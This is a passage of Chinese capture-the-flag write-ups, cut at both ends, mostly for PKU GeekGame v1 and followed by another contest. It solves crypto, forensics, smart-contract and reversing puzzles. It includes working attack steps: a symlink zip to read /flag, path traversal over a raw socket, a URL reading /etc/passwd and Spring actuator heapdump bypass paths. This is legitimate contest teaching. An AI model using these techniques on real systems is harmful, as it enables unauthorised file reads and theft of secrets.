25288164985739570635307839193110091356864302148147148153228604718807817833935053919412276187989509493755136905193728864674684139319708358686431424793278248263545370628718355096523088238513079652226028236137381367215156975121794485995030822902933639803569133458328681148758392333073624280222354763268512333515]m9=exCRT(c,n)m=gmpy2.iroot(m9,9)[0]print(long_to_bytes(m))#flag{H0w_Fun_13_HAstads_broadca5t_AtTack!} 附上题目源码文件:https://pan.baidu.com/s/1HG5Q1cxFWWi4-gaoOPKGFw 提取码: 2ac6参考链接:https://mp.weixin.qq.com/s/WGEjSSNDJuZcnqJJev5zGQhttps://mp.weixin.qq.com/s/TZt0oUkmgJYe21SbcS5Ybwhttps://blog.csdn.net/qq_51724251/article/details/120658086
  5. 签到题目内容是一个 pdf 文件,用 Adobe Acrobat 打开,看到其中包含一些特殊符号。 在编辑模式下,查看得到其字体为 Wingdings,这是一个装饰字体,文本内容其实是 ASCII 码。文本范围是超出页面的,resize 之后复制出其内容,给出了两行文字: 这是栅栏密码,得到 flag 为 flag{Have_A_Great_Time@GeekGame_v1!}。 fa{aeAGetTm@ekaev! lgHv__ra_ieGeGm_1} 小北问答 Remake北京大学燕园校区有理科 1 号楼到理科 X 号楼,但没有理科 (X+1) 号及之后的楼。X 是? 在 Google Earth 中搜索,存在理科 5 号楼,但没有理科 6 号楼。故答案为 5。 上一届(第零届)比赛的总注册人数有多少? 在北京大学新闻网中找到报道北京大学举办首届信息安全综合能力竞赛,得到「本次大赛共有 407 人注册参赛」,故答案为 407。 geekgame.pku.edu.cn 的 HTTPS 证书曾有一次忘记续期了,发生过期的时间是? 搜索「ssl cert database」,找到网站 crt.sh。在该网站上搜索 geekgame.pku.edu.cn,并根据题目给出的正则表达式寻找过期时间秒数以 3 结尾的证书,得到证书 4362003382。其过期时间为 Jul 11 00:49:53 2021 GMT,将时区换为 UTC+8,得到 2021-07-11T08:49:53+08:00。 2020 年 DEFCON CTF 资格赛签到题的 flag 是? 找到 2020 年 DEFCON CTF 资格赛的网站是 OOO DEF CON CTF Quals,打开第一题 welcome-to-dc2020-quals,下载 welcome.txt,获得 flag 为 OOO{this_is_the_welcome_flag}。 在大小为 672328094 * 386900246 的方形棋盘上放 3 枚(相同的)皇后且它们互不攻击,有几种方法? 在 The On-Line Encyclopedia of Integer Sequences 中搜索「3 queens」,没有直接找到的通解,但有一篇相关的文章 Number of ways to place 3 nonattacking queens on an n X n board.。里面给出了通解的表达式: 代入数据计算得 2933523260166137923998409309647057493882806525577536。这里直接用 Mathematica 计算了。 上一届(第零届)比赛的 “小北问答 1202” 题目会把所有选手提交的答案存到 SQLite 数据库的一个表中,这个表名叫? 在第零届比赛的 GitHub 仓库 geekgame-0th 中查找,在 src/choice/game/db.py 中得到表名叫 submits。 国际互联网由许多个自治系统(AS)组成。北京大学有一个自己的自治系统,它的编号是? 在中国 AS 自治系统号码中查找 Peking University,找到编号 AS59201。另一个搜索结果 CNGI-BJ-IX3-AS-AP CERNET2 IX at Peking University, CN 不是正确答案。 截止到 2021 年 6 月 1 日,完全由北京大学信息科学技术学院下属的中文名称最长的实验室叫? 在信息科学技术学院 2021 年招生指南中找名字最长的实验室,为「区域光纤通信网与新型光通信系统国家重点实验室」。 共享的机器这题提到了「未来的机器」,是第零届比赛的题目。通过阅读「未来的机器」的 Writeup,得知需要人脑解释执行代码,反推 flag。猜测这题是类似的。 首先需要了解以太坊智能合约的机制。智能合约创建时需要提供一段 Solidity 程序的字节码,并且此后无法再修改。每次向该智能合约发起交易时,提供的交易信息和交易的发起者将作为程序的输入,程序的运行结果将可以存储到区块链中,也可以通过 revert 提前终止,拒绝交易。程序运行时将可以访问 memory 和 storage。memory 类似 RAM,程序终止后被销毁,而 storage 是区块链上的持久化存储。 原题提供了一个 bitaps 中的链接,可以看到 2021-10-22 和 2021-11-07 两笔关键交易,其中 2021-10-22 的交易是创建此合约。其它有很多失败的交易,都是 2021-11-14 之后的。这时题目已经发布了,因此这些失败的交易应当不是题目的一部分。 除此之外,bitaps 上并没有提供更详细的信息。搜索其它 CTF 竞赛中有关以太坊智能合约的题目 Writeup,发现了 Etherscan 网站,可以通过其 Parity Trace 功能查看交易详情。更令人激动的是,Etherscan 自带 Decompile Bytecode 功能,打开题目中所给的智能合约后,可利用这一功能,查看得到反编译的源码: # # Panoramix v4 Oct 2019 # Decompiled source of ropsten:0xa43028c702c3B119C749306461582bF647Fd770a # # Let's make the world open source # def storage: stor0 is addr at storage 0 stor1 is uint256 at storage 1 stor2 is uint256 at storage 2 stor3 is uint256 at storage 3 def _fallback() payable: # default function revert def unknown7fbf5e5a(uint256 _param1, uint256 _param2) payable: require calldata.size - 4 >= 64 if stor0 != caller: if stor0 != tx.origin: if stor1 != sha3(caller): if stor1 != sha3(tx.origin): revert with 0, 'caller must be owner' stor2 = _param1 stor3 = _param2 def unknownded0677d(uint256 _param1) payable: require calldata.size - 4 >= 32 idx = 0 s = 0 while idx < 64: idx = idx + 1 s = s or (Mask(256, -4 * idx, _param1) >> 4 * idx) + (5 * idx) + (7 * Mask(256, -4 * idx, stor2) >> 4 * idx) % 16 << 4 * idx continue if stor3 != 0: revert with 0, 'this is not the real flag!' return 1 这里得到了两个函数,但调用关系并不明朗。用另一个在线工具 Online Solidity Decompiler 反编译,得到了另一种表示,两者可以互相参照。\footnote {Online Solidity Decompiler 的反编译结果篇幅较长,且可以在线查看,就不贴在文中了。其中重要的部分会在后文给出。} Online Solidity Decompiler 的结果中存在一些 goto,但跳转的地址仍在函数内部,因此还是可以比较轻松地理清控制流。经过分析,发现第一个函数必须由 owner 发起交易才能正常返回,其作用是修改 storage[2] 和 storage[3]。第二个函数实际上运行了一个 64 次的循环,循环中不断用或运算修改变量 var0,并且用到了 storage[2] 存储的数据。循环后将 var0 的运算结果与 storage[3] 比较,两者不相同则输出 this is not the real flag!。换言之,需要找出一个初始的 var0,使其运算后与 storage[3] 相同。这个 var0 很可能就是我们需要的 flag。 这一部分的 Solidity 代码提取出来是 var arg0 = msg.data[0x04:0x24]; var var0 = 0x00; var var1 = 0x00; while (var1 < 0x40) { var0 = var0 | (((arg0 >> var1 * 0x04) + var1 * 0x05 + (storage[0x02] >> var1 * 0x04) * 0x07 & 0x0f) << var1 * 0x04); var1 += 0x01; } if (var0 == storage[0x03]) { return 0x01; } 注意到位运算的优先级,最终被左移 var1 * 0x04 位的内容提前经过了 \& 0x0f 运算,换言之,一次循环中 var0 只会至多被改变 4 位,并且每次循环改变的位是互不干扰的。这使得整个运算过程是可逆的。 此外我们还需要知道 storage[2] 和 storage[3] 的值。这可以通过查看 2021-11-07 的交易获得。 这样,就可以把反推 var0 的逻辑用 Python 实现出来了。 stor2 = 0x15eea4b2551f0c96d02a5d62f84cac8112690d68c47b16814e221b8a37d6c4d3 stor3 = 0x293edea661635aabcd6deba615ab813a7610c1cfb9efb31ccc5224c0e4b37372 res = 0 flag = [] for i in range(0x40): target = stor3 >> i * 4 & 0x0f for ans in range(0x10): if ans + i * 5 + (stor2 >> i * 4) * 7 & 0x0f == target: flag.insert(0, ans) print(''.join([chr(flag[i] * 16 + flag[i + 1]) for i in range(0, len(flag), 2)])) 得到 flag 为 flag{N0_S3cReT_ON_EThEreuM}。 翻车的谜语人题目提供了一个 pcap 格式的抓包数据。用 Charles 打开,可以看出这是与 Jupyter 交互的流量。 这里可以直接把 Jupyter Notebook 的内容恢复出来。 import zwsp_steg from Crypto.Random import get_random_bytes import binascii def genflag(): return 'flag{%s}' % binascii.hexlify(get_random_bytes(16)).decode() flag1 = genflag() flag2 = genflag() key = get_random_bytes(len(flag1)) def xor_each(k, b): assert len(k) == len(b) out = [] for i in range(len(b)): out.append(b[i] ^ k[i]) return bytes(out) encoded_flag1 = xor_each(key, flag1.encode()) encoded_flag2 = xor_each(key, flag2.encode()) with open('flag1.txt', 'wb') as f: f.write(binascii.hexlify(encoded_flag2)) 从 Jupyter Notebook 的输出可以知道 key 为 b'\x1e\xe0[u\xf2\xf2\x81\x01U_\x9d!yc\x8e\xce[X\r\x04\x94\xbc9\x1d\xd7\xf8\xde\xdcd\xb2Q\xa3\x8a?\x16\xe5\x8a9' 而 encoded_flag1 则是根据 flag1 与 key 的异或运算得到。根据异或运算的性质,将 encoded_flag1 与 key 再进行一次异或就能够还原出 flag1。 接下来搜索 flag1,可以在流量中找到读取 flag1.txt 文件的内容。 由此可以还原出 flag1: flag1 = '788c3a1289cbe5383466f9184b07edac6a6b3b37f78e0f7ce79bece502d63091ef5b7087bc44' flag1 = binascii.unhexlify(flag1) print(''.join([chr(flag1[i] ^ key[i]) for i in range(len(flag1))])) 对于 flag2,搜索后发现 Jupyter 工作区存在大小为 2935226 字节的 7zip 文件,其内容可以完全 dump 出来。但是这个压缩文件有密码,必须继续挖掘。这时 Charles 给出的 HTTP 流量数据已经提取不到更多有用的信息,转而使用 Wireshark。果不其然,在 Wireshark 中发现了 Jupyter Notebook 的 WebSocket 协议数据帧。 这些 WebSocket 数据帧完整地记录了命令行操作。可以看到 You ちゃん先是用 pip 安装了 stego-lsb,然后将 flag2.txt 隐写进了 ki-ringtrain.wav,最后把 wav 用 7za 压缩。压缩时设置了密码,其命令行参数为 -p"Wakarimasu! `date` `uname -nom` `nproc`" 7za 的输出里显示了 CPU 型号为 i7-10510U,这是一个 4C8T 的 U,故 nproc 输出为 8。\footnote {如果关了超线程应该就是 4?}uname -o 显然为 GNU/Linux,uname -m 则为 x86_64。uname -n 为主机名,通过命令提示符的回显得到 you-kali-vm。 至于 date 的输出需要一定的猜测,因为主机的时区和语言还没确定。并且 date 本身也有几种风格的输出,例如 Sat Nov 06 07:44:16 CST 2021 Sat 06 Nov 2021 07:44:16 AM GMT 执行命令的时间相对第一个数据帧的偏移是,推测出时间大约是 2021 年 11 月 6 日 15:44:16。当然,这是存在误差的,实际试密码时把都试了。比较幸运,正确的密码手工试出来了,不然需要写脚本遍历不同的时区和语言: Wakarimasu! Sat 06 Nov 2021 03:44:15 PM CST you-kali-vm x86_64 GNU/Linux 8 解压得到 wav 文件,再用 stegolsb 提取出隐写的信息,正是 encoded_flag2。 pip3 install stego-lsb stegolsb wavsteg -r -i flag2.wav -o flag2.txt --bytes 76 -n 1 使用前文类似的方法,恢复出 flag2 即可。 叶子的新歌首先用 ffprobe 查看 mp3 文件的元信息,得到两个关键的提示: album : Secret in Album Cover!! TRACKTOTAL : aHR0cDovL2xhYi5tYXh4c29mdC5uZXQvY3RmL2xlZ2FjeS50Ynoy 这是两个分支,后文分别叙述。 夢は時空を越えて用 binwalk 看到 Album Cover 是 png 图片,提取之。 这个图片看上去非常正常。首先猜测是图片大小存在问题,于是对 PNG 头进行 CRC32 校验,无异常。进而怀疑使用了隐写技术,上 StegSolve。使用 LSB,提取 RGB 三个通道的最低位,二进制解码后三个大字「PNG」映入眼帘。说明思路正确,提取出一张图片。 这是一个二维码,但并不是常见的 QR 码。扔到 Google 图片中搜索,发现其名为 Aztec 码。手机下载扫码软件 Scandit,得到内容 Gur frperg va uvfgbtenz.。看上去是凯撒密码,随手找了一个在线工具,解码得到 The secret in histogram.。 这个 Aztec 码的灰度分布看上去就不太对劲,不过 Photoshop 的直方图不太能放大,于是用 Python 脚本输出直方图。 from PIL import Image import numpy as np im = Image.open('aztec.png') cluster = np.zeros(shape=(256)) for i in range(1000): for j in range(1000): cluster[im.getpixel((i, j))] += 1 img = Image.new(mode='RGB', size=(256 + 40, 50 + 10), color=(255, 255, 255)) pixels = img.load() for i in range(len(cluster)): if cluster[i] > 0: for j in range(50): pixels[i + 20, j + 5] = (0, 0, 0) img.save('histogram.png') 直方图如下图所示。 这个直方图怎么看也是一个条形码,继续扫码得到 xmcp.ltd/KCwBa。访问后得到一大串 Ook。这是一个 Brainfuck 的方言,在 Ook! Programming Language - Esoteric Code Decoder, Encoder, Translator 执行后得到 flag 为 flag{y0u_h4ve_f0rgott3n_7oo_much}。 夢と現の境界另一个分支,aHR0cDovL2xhYi5tYXh4c29mdC5uZXQvY3RmL2xlZ2FjeS50YnoyBase64 解码得到 http://lab.maxxsoft.net/ctf/legacy.tbz2。下载解压得到 To_the_past.img。macOS 上直接挂载磁盘镜像,得到 MEMORY.ZIP 和 NOTE.TXT。NOTE.TXT 中提示密码是:宾驭令诠怀驭榕喆艺艺宾庚艺怀喆晾令喆晾怀。搜索后得知这是人民币冠号密码,解码得到 72364209117514983984。用该密码解压 MEMORY.ZIP,获得新的提示和两个二进制文件,left.bin 和 right.bin。先用 binwalk,没有扫到有用的信息。提示中有「红白机」「找不同滴神」,故使用 vbindiff 比较,发现确实可以找不同,但应该用最长公共子串比较,而不是按位比较。这里偷懒了,写了一个比较简单的脚本,稍微处理了一下 edge case,不过对于某些极端输入会有 bug。 with open('left.bin', 'rb') as f: lbuf = f.read() with open('right.bin', 'rb') as f: rbuf = f.read() lpointer = 0 rpointer = 0 common = [] lonly = [] ronly = [] allonly = [] while lpointer < len(lbuf) and rpointer < len(rbuf): if lbuf[lpointer] == rbuf[rpointer]: common.append(lbuf[lpointer]) elif lbuf[lpointer + 1] == rbuf[rpointer] and lbuf[lpointer + 2] == rbuf[rpointer + 1]: common.append(rbuf[rpointer]) lonly.append(lbuf[lpointer]) allonly.append(lbuf[lpointer]) lpointer += 1 elif lbuf[lpointer] == rbuf[rpointer + 1] and lbuf[lpointer + 1] == rbuf[rpointer + 2]: common.append(lbuf[lpointer]) ronly.append(rbuf[rpointer]) allonly.append(rbuf[rpointer]) rpointer += 1 else: print(lpointer, rpointer) print(lbuf[lpointer - 1:lpointer + 2], rbuf[rpointer - 1:rpointer + 2]) raise ValueError lpointer += 1 rpointer += 1 脚本处理本题中的数据后,给出了找不同的结果,包括只存在于 left.bin 的数据,只存在于 right.bin 的数据和共有的数据。继续 binwalk,还是没有找到有用的结果。这里试了半天,最后发现两个 diff 文件的开头,一个是 N,一个是 ES。联想到提示中的「红白机」,按 diff 的顺序把左右合起来正好是一个合法的 NES 文件 \footnote {仍然是由于脚本的小 bug,最后一个不同的字节没有被记录,因此最后追加了一个 FF。}。 with open('game.nes', 'wb') as f: for c in allonly: f.write(c.to_bytes(1, 'big')) f.write(b'\xFF') 之后在 awesome-emulators 中找了一个 NES 模拟器 Nestopia,能够正常打开游戏,发现是修改的超级马里奥。下一步找 flag 又没有方向了,因为 flag 可能藏在任何地方,例如游戏的地图甚至彩蛋中。不确定是不是错过了什么关键信息,这里只能继续猜,靠玩《超级马里奥制造》的功底 \footnote {以及 SL 大法。} 速通之后得到了一个网页链接 lab.maxxsoft.net/ctf/leafs/ 然后就卡关了。\footnote {NINTENDO RULES THE FUCKING WORLD!} 在线解压网站这题比较简单,用户上传 zip 文件后服务器解压,并允许读取解压后的文件。由于已经知道 flag 在磁盘根目录下,因此直接用软链接攻击就行。 touch /flag ln -s /flag flag zip flag.zip flag --symlinks 参数 --symlinks 用于让 zip 保留软链接,而不是把软链接目标打包进去。上传 flag.zip 就可以直接读 flag 了,结果是 flag{NeV3R_trUSt_Any_C0mpresSed_file}。 Flag 即服务打开 JSON-as-a-Service 的网站,按照介绍试用功能: https://prob11-xxxxxxxx.geekgame.pku.edu.cn/api/demo.json 尝试以下网址 https://prob11-xxxxxxxx.geekgame.pku.edu.cn/api/ 服务器报错 Error: EISDIR: illegal operation on a directory, read at Object.readSync (fs.js:617:3) at tryReadSync (fs.js:382:20) at Object.readFileSync (fs.js:419:19) at /usr/src/app/node_modules/jsonaas-backend/index.js:56:19 at Layer.handle [as handle_request] (/usr/src/app/node_modules/express/lib/router/layer.js:95:5) at next (/usr/src/app/node_modules/express/lib/router/route.js:137:13) at Route.dispatch (/usr/src/app/node_modules/express/lib/router/route.js:112:3) at Layer.handle [as handle_request] (/usr/src/app/node_modules/express/lib/router/layer.js:95:5) at /usr/src/app/node_modules/express/lib/router/index.js:281:22 at param (/usr/src/app/node_modules/express/lib/router/index.js:354:14) 可见服务器会根据 /api/ 后的路径拼接文件路径进行读取,尝试 LFI 攻击 https://prob11-xxxxxxxx.geekgame.pku.edu.cn/api/../package.json 这里最开始拿的浏览器测试,发现 URL 被 resolve 成了 https://prob11-xxxxxxxx.geekgame.pku.edu.cn/package.json 随后用 Python 的 requests 试了一下,也没能解决这个问题。根据提示中的 RFC 3986,用 socket 库手写 HTTP 头,终于绕过了 import socket s = socket.socket( socket.AF_INET, socket.SOCK_STREAM) s.connect(("prob11-xxxxxxxx.geekgame.pku.edu.cn", 80)) s.send( b'GET /api/../package.json HTTP/1.1\r\nHost: prob11-xxxxxxxx.geekgame.pku.edu.cn\r\n\r\n') response = s.recv(4096) print(response) 拿到 package.json 后,读出依赖包地址为 https://geekgame.pku.edu.cn/static/super-secret-jsonaas-backend-1.0.1.tgz 下载后阅读源码,可知 flag1 为 flag{0.30000000000000004}。 诡异的网关这题也比较简单。打开程序后探索程序的 UI,发现存了一个用户名为 flag 的账号的密码。密码不让查看和复制,大概率是和我们要的 flag 相关的。于是直接开 Cheat Engine,搜索 flag{,秒得 solution。 印象中上一次使用 Cheat Engine 还是高中时修改某网盘的会员试用时间,没想到会在这题中用上。当然,如果题目把 flag 做一个简单的变换,这个方法就不奏效了,会增加很大的工作量。 最强大脑先用 strings,发现程序中有字符串 flag1。然后上 ida,可惜用得不太熟练,没能逆向出有用的信息。这题最后是靠提示给的源代码做出来的。拿到源码之后发现 flag 放在了数据段的最后,因此写个循环遍历数据段,输出读到的字符即可。Brainfuck 的循环会检测当前指针指向的数据是否为 0,数据段初始化时会全部置 0,所以需要用一下 + 操作符。Brainfuck 代码如下 +[>.+] 用 Python 计算对应的 hex print(b'+[>.+]'.hex()) 得到 2b5b3e2e2b5d,运行得到 flag{N0_tRainIng_@_@ll}。 密码学实践这题中有三个对象:God,Richard 和 Alice。Alice 只是占了个坑,我们的终极目标是和 God 对话,获取伪造的证书来冒充 Alice。程序中的 God 会先为 Alice 和 Richard 颁发证书。签名证书需要提供 name 和 key,程序会先打包出下面这一串内容 [...name...][..][..][......key......][..][..] name 和 key 之后分别用两个字节标记其长度,然后组合在一起。将这个字节串转为整数后,用模幂运算计算得到证书。并且,God 不会为 name 相同的人颁发第二个证书。 首先看 flag1。在程序中和 Richard 对话,会直接给出加密后的 flag1。这里的加密过程还没有涉及 RSA,而是用了一个看上去比较复杂的循环。阅读 MESenc 函数的代码,可知加密是先将明文按每 32 个字节分为一组,然后每组单独加密再拼接。32 个字节又分成 4 个 8 字节,分别记做。此外还需要一个 256 字节的 keys,为方便表述,将其视作 32 个 8 字节的。 那么,加密流程就是执行如下操作 其中是异或运算。考虑到异或运算所具有的良好性质,不妨将每次循环后的结果向后推演一些。 这些之间的异或运算结果都可以视为常数,因为它们与明文的选取无关。可以看到,每六次循环操作后,原来的位置复原了,只是各自异或了一个常数。\footnote {说实话,这题把《密码学基础》换成《群论》也没有什么问题。} 考虑到 那么一圈循环下来的结果就是 这里的 4 个可以由 32 个计算得到,不过从破解密码的角度来说,我们只要知道对每次加密都是相同的常数就行。 于是,MESenc 其实等价于如下函数。 def MESenc(mess: bytes, const1: bytes, const2: bytes, const3: bytes, const4: bytes): assert len(mess) % 32 == 0 cip = b"" for it in range(0, len(mess), 32): pmess = mess[it:it+32] a = bytes_to_long(pmess[0:8]) b = bytes_to_long(pmess[8:16]) c = bytes_to_long(pmess[16:24]) d = bytes_to_long(pmess[24:32]) _a = long_to_bytes(c ^ const1, 8) _b = long_to_bytes(d ^ const2, 8) _c = long_to_bytes(a ^ c ^ const3, 8) _d = long_to_bytes(b ^ d ^ const4, 8) cip += _a + _b + _c + _d return cip 阅读程序源码,我们会知道 Richard 说的第二句话的明文是 Sorry, I forget to verify your identity. Please give me your certificate. 我们同样也能直接获得这句话的密文。\footnote {同时获得明文和对应的密文显然是一个令人不安的信号,就如盟军破译 Enigma 时所做的那样。} 那么,4 个就可以直接计算出来,然后再用它解密 Richard 的第一句话,即可得到 flag1。 根据明文和密文反推的逻辑如下所示 def MEScrack(mess: bytes, cip: bytes): assert len(mess) == len(cip) assert len(mess) % 32 == 0 pmess = mess[:32] pcip = cip[:32] a = bytes_to_long(pmess[0:8]) b = bytes_to_long(pmess[8:16]) c = bytes_to_long(pmess[16:24]) d = bytes_to_long(pmess[24:32]) _a = bytes_to_long(pcip[0:8]) _b = bytes_to_long(pcip[8:16]) _c = bytes_to_long(pcip[16:24]) _d = bytes_to_long(pcip[24:32]) const1 = _a ^ c const2 = _b ^ d const3 = a ^ c ^ _c const4 = b ^ d ^ _d return const1, const2, const3, const4 算出后,就可以完全抛弃,直接解密信息。 def MESdecode(cip: bytes, const1: bytes, const2: bytes, const3: bytes, const4: bytes): assert len(cip) % 32 == 0 mess = b"" for it in range(0, len(cip), 32): pmess = cip[it:it+32] _a = bytes_to_long(pmess[0:8]) _b = bytes_to_long(pmess[8:16]) _c = bytes_to_long(pmess[16:24]) _d = bytes_to_long(pmess[24:32]) c = _a ^ const1 d = _b ^ const2 a = _c ^ c ^ const3 b = _d ^ d ^ const4 a = long_to_bytes(a, 8) b = long_to_bytes(b, 8) c = long_to_bytes(c, 8) d = long_to_bytes(d, 8) mess += a + b + c + d return mess 获得 flag2 就需要来研究 RSA 了。和 Richard 对话时,我们需要提供一个证书,如果 Richard 解密出这个证书所打包的 name 是 Alice,就会发送 flag2。由于 God 已经为 Alice 颁发过证书了,我们没法直接冒充 Alice 获得证书,所以目标就是用一个和 Alice 不同但精心构造的 name,以及 key,使得这个 name 和 key 经过打包、模幂、解密后,算出来的 name 等于 Alice。 考虑 RSA 的加密解密过程。 e 和 N 是 God 会告诉我们的公钥,d 是私钥。程序是用 pycryptodome 生成的 2048 位 RSA 密钥,流程非常正经,可以认为暴力的攻击方式是不可能的。\footnote {During his own Google interview, Jeff Dean was asked the implications if P=NP were true. He said, ``P = 0 or N = 1". Then, before the interviewer had even finished laughing, Jeff examined Google's public certificate and wrote the private key on the whiteboard.} 但这个加密过程存在一个漏洞,那就是没有将明文 m 分块。这使得 m 到 c 的映射是多对一的。显然,任何都满足 于是,我们的目标是寻找,以及,s.t. 形如 [Alice][00][05][......key......][..][..],是一个合法的 pack 转为整数后小于 N 转为字节串后,也是一个合法的 pack为了逆推方便,这个合法的 pack 可以尽量简单,例如它对应的 key 长度为 0。第二条约束则可以用搜索实现。最后对应的 key 做减法得到,并且要考虑进位问题。完整代码如下 def fulldecode(n): for i in range(1024): keyx = n * i if 0x10000 - (keyx & 0xffff) < 256: factor = i break keyx = n * factor lastmask = 0x10000 - (keyx & 0xffff) firstmask = int.from_bytes(b'Alice\x00\x05', 'big') << (lastmask + 2) * 8 bitlength = (keyx.bit_length() + 7) // 8 - 4 centermask = (0x10000 + bitlength - ((keyx >> 16 & 0xffff) + 1)) << 16 result = keyx + firstmask + centermask + lastmask sinfo = result.to_bytes((result.bit_length()+7)//8, 'big') akey = unpackmess(sinfo) pinfo = sinfo[:len(sinfo)-len(akey)-2] aname = unpackmess(pinfo) return aname.hex() 到这里所有问题都变成已解决的问题了。源程序里 Richard 还用了 6 行代码重新生成 key,但这一部分不需要专门考虑,因为实际上并没有什么区别,反推的流程都是一样的。 扫雷这题要求通关一个在线扫雷游戏获得 flag,唯一的问题是地雷数量占总地图格子数的期望值是 50%。生成地雷用的是 random.getrandbits,这是一个典型的伪随机数生成器,因此可以设法攻击。找到了轮子 randcrack,该程序要求输入连续生成的 624 个 32 位随机数,这部分信息将使得 cracker 的状态与原程序的随机数生成器同步,于是就可以完全预测出接下来的随机数生成结果。 阅读扫雷程序的源码 sweeper.py,棋盘的大小是,每次将生成一个 256 位整数,以行优先的顺序把每一位填到棋盘上,1 代表地雷。考虑到,因此故意输掉 78 盘,就可以根据程序打印的棋盘,获得足够的负熵,支持接下来的预测。 确定这个大的思路后,其它的都是细节问题,例如按正确的顺序将 256 位整数拆成 8 个 32 位整数喂给 randcrack,以及正确计算涉及到的位运算的位数。这题操作比较多,因此用 pwntools 交互。代码如下所示。 from randcrack import RandCrack from pwn import * WIDTH = 16 HEIGHT = 16 token = 'TOKEN' rc = RandCrack() def letItBoom(conn): conn.recv() index = 0 conn.send(f'0 0\n') line = conn.recvline() while line != b'> BOOM!\n': index += 1 conn.send(f'{index // 16} {index % 16}\n') line = conn.recvline() print('line2', line) rows = [] for i in range(HEIGHT): rows.append(conn.recvline(keepends=False)) print(rows) bits = [] for row in rows: tmp = 0 for i in range(WIDTH): tmp |= (1 if row[i] == ord('*') else 0) << i bits.append(tmp) int32s = [] for i in range(0, HEIGHT, 2): tmp = (bits[i + 1] << 16) | bits[i] rc.submit(tmp) print(tmp) int32s.append(tmp) print(int32s) conn.recvline() conn.recv() conn = remote('prob09.geekgame.pku.edu.cn', 10009) if conn.recv() == b'token: ': conn.send(token + '\n') if conn.recv() == b'Welcome to the minesweeper game!\neasy mode? (y/n)': conn.send(b'n\n') for i in range(78): print('NEW GAME') letItBoom(conn) conn.send(b'y\n') predict = rc.predict_getrandbits(256) print('predict:', predict) def gen_board(bits): board = [[None] * WIDTH for _ in range(HEIGHT)] for i in range(HEIGHT): for j in range(WIDTH): x = (bits >> (i * WIDTH + j)) & 1 board[i][j] = x return board conn.recv() board = gen_board(predict) for i in range(HEIGHT): for j in range(WIDTH): if board[i][j] == 0: conn.send(f'{i} {j}\n') print(conn.recv())
  6. Webeasywill解题思路 变量覆盖 http://eci-2zej1goyn9jh8hty6ton.cloudeci1.ichunqiu.com/?name=cfile&value=/etc/passwd P神博客最近的文章利用pearcmd:https://tttang.com/archive/1312/ Pentest in Autumn解题思路 http://eci-2ze40jm526y24nv2lkl3.cloudeci1.ichunqiu.com:8888/ 权限绕过 /;/actuator/env /;/actuator/heapdump 解密脚本 import base64 import struct print(base64.b64encode(struct.pack('<bbbbbbbbbbbbbbbb', -126,-67,24,-71,-62,-122,61,-52,91,77,-110,115,-43,100,-88,103))) #gr0YucKGPcxbTZJz1WSoZw== flag{3fa31850-8ee6-40f2-9b18-9ecf6cac176c} ReverseHideit解题思路 打开之后发现有SMC,单步调试总是找不到主函数 发现输出字符串,在puts下断点,第二次断下后回溯到主函数处,向上一直到函数头,反编译 __int64 __fastcall sub_24D61161BB0(__int64 a1) { //... if ( !(unsigned int)off_24D61163000(-2147483646i64, aSoftwareClasse, &v24) ) { v23 = 0; ((void (__fastcall *)(char *, _QWORD, __int64))unk_24D61162A0C)(v21, 0i64, 520i64); v22 = 66; if ( !(unsigned int)off_24D61163008(v24, aKeysSecret, 0i64, &v23, v21, &v22) ) off_24D61163020(0i64, 0i64, v21, 0xFFFFFFFFi64, v14, 260, 0i64, 0i64); } off_24D611630F8(aFirstSecretHer); v10 = 0i64; v11 = 0; ((void (__fastcall *)(void *, __int64 *))unk_24D61161B50)(&unk_24D6116324C, &v10); v12 = 0i64; strcpy((char *)&v12, (const char *)&v10); v13[0] = 114; v13[1] = 514; v13[2] = 19; v13[3] = 19; ((void (__fastcall *)(char *, _QWORD, __int64))unk_24D61162A0C)(v20, 0i64, 512i64); v3 = HIDWORD(v12); v4 = 32; v5 = v12; v6 = HIDWORD(v12); v7 = 0; do { v7 -= 1640531527; v8 = (v7 >> 2) & 3; v5 += ((v7 ^ v3) + (v6 ^ v13[v8])) ^ (((16 * v6) ^ (v3 >> 3)) + ((v6 >> 5) ^ (4 * v3))); v3 += ((v7 ^ v5) + (v5 ^ v13[v8 ^ 1])) ^ (((16 * v5) ^ (v5 >> 3)) + ((v5 >> 5) ^ (4 * v5))); v6 = v3; --v4; } while ( v4 ); if ( v5 == 288407067 && v3 == 1668576323 ) { v17 = 0i64; v18 = (unsigned __int8)v10 | ((BYTE1(v10) | (WORD1(v10) << 8)) << 8); v19 = BYTE4(v10) | ((BYTE5(v10) | (HIWORD(v10) << 8)) << 8); ((void (__fastcall *)(_DWORD *, __int64))unk_24D61161000)(v16, a1);// 密钥扩展 sub_24D61161150(v16, v14, v20); // 第二步加密 while ( byte_24D611631D0[v2] == v20[v2] ) { if ( ++v2 >= 32 ) return off_24D611630F8(aYouFindLastSec); } } return 0i64; } 先进行类tea加密,这8个字符合法的话再进行第二步加密 类tea加密解出字符串dotitsit,第二段加密如下 _DWORD *__fastcall sub_24D61161150(_DWORD *a1, __int128 *a2, _BYTE *a3) { // ... if ( a2 ) { v13 = (char *)a2 - (char *)&v122; v14 = &v122; do { *(_BYTE *)v14 = *((_BYTE *)v14 + v13); v14 = (__int128 *)((char *)v14 + 1); --v11; } while ( v11 ); v127 = &v122; } // key operation while ( 1 ) { // key operation } //... if ( v127 ) { // 在这里下断点,查看v76...的值就可以异或处原始数据 v76 ^= *(unsigned __int8 *)v127 | ((*((unsigned __int8 *)v127 + 1) | (*((unsigned __int16 *)v127 + 1) << 8)) << 8); v77 ^= *((unsigned __int8 *)v127 + 4) | ((*((unsigned __int8 *)v127 + 5) | (*((unsigned __int16 *)v127 + 3) << 8)) << 8); v78 ^= *((unsigned __int8 *)v127 + 8) | ((*((unsigned __int8 *)v127 + 9) | (*((unsigned __int16 *)v127 + 5) << 8)) << 8); v79 ^= *((unsigned __int8 *)v127 + 12) | ((*((unsigned __int8 *)v127 + 13) | (*((unsigned __int16 *)v127 + 7) << 8)) << 8); v80 ^= *((unsigned __int8 *)v127 + 16) | ((*((unsigned __int8 *)v127 + 17) | (*((unsigned __int16 *)v127 + 9) << 8)) << 8); v129 ^= *((unsigned __int8 *)v127 + 20) | ((*((unsigned __int8 *)v127 + 21) | (*((unsigned __int16 *)v127 + 11) << 8)) << 8); LODWORD(v97) = (*((unsigned __int8 *)v127 + 24) | ((*((unsigned __int8 *)v127 + 25) | (*((unsigned __int16 *)v127 + 13) << 8)) << 8)) ^ v97; HIDWORD(v97) ^= *((unsigned __int8 *)v127 + 28) | ((*((unsigned __int8 *)v127 + 29) | (*((unsigned __int16 *)v127 + 15) << 8)) << 8); v81 ^= 